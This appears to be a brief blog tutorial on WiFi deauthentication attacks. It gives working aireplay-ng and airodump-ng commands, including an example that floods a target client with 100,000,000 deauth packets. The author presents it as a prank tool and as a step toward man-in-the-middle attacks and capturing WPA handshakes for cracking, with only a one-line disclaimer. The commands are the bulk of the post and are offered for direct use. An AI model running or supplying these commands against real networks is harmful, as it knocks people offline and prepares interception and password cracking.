How to perform a WiFi De-authentication Attack

Posted on

This is an old one but a fun one. I love doing this in my test environment and I have a lot of fun using this to prank my friends that choose to connect to it.

DISCLAIMER: Do not perform this attack on any network that you do not own. I am not responsible for any illegal use of this attack.

Now, I am assuming that you already know the basics of aircrack-ng and it’s suite of products.

This attack allows us to disconnect any device from any network.

  • Works on encrypted networks (WEP, WPA & WPA2)
  • No need to know the network key
  • No need to connect to the network

In order to do this, us the following:
aireplay-ng --deauth [#DeauthPackets] -a [NetworkMac] -c [TargetMac] [Interface]

For example
aireplay-ng --deauth 100000000 -a 00:11:22:33:44:55 -c 55:66:77:88:99:00 mon0

NOTE: In some cases you must run Airodump-ng in order to run this command. Run it in another thread or terminal using:
airodump-ng --bssid 00:11:22:33:44:55 --channel 2 mon0

This trick is handy with social engineering cases and Man In the Middle attacks. You can also use this to capture the handshake, which is used for WPA cracking.
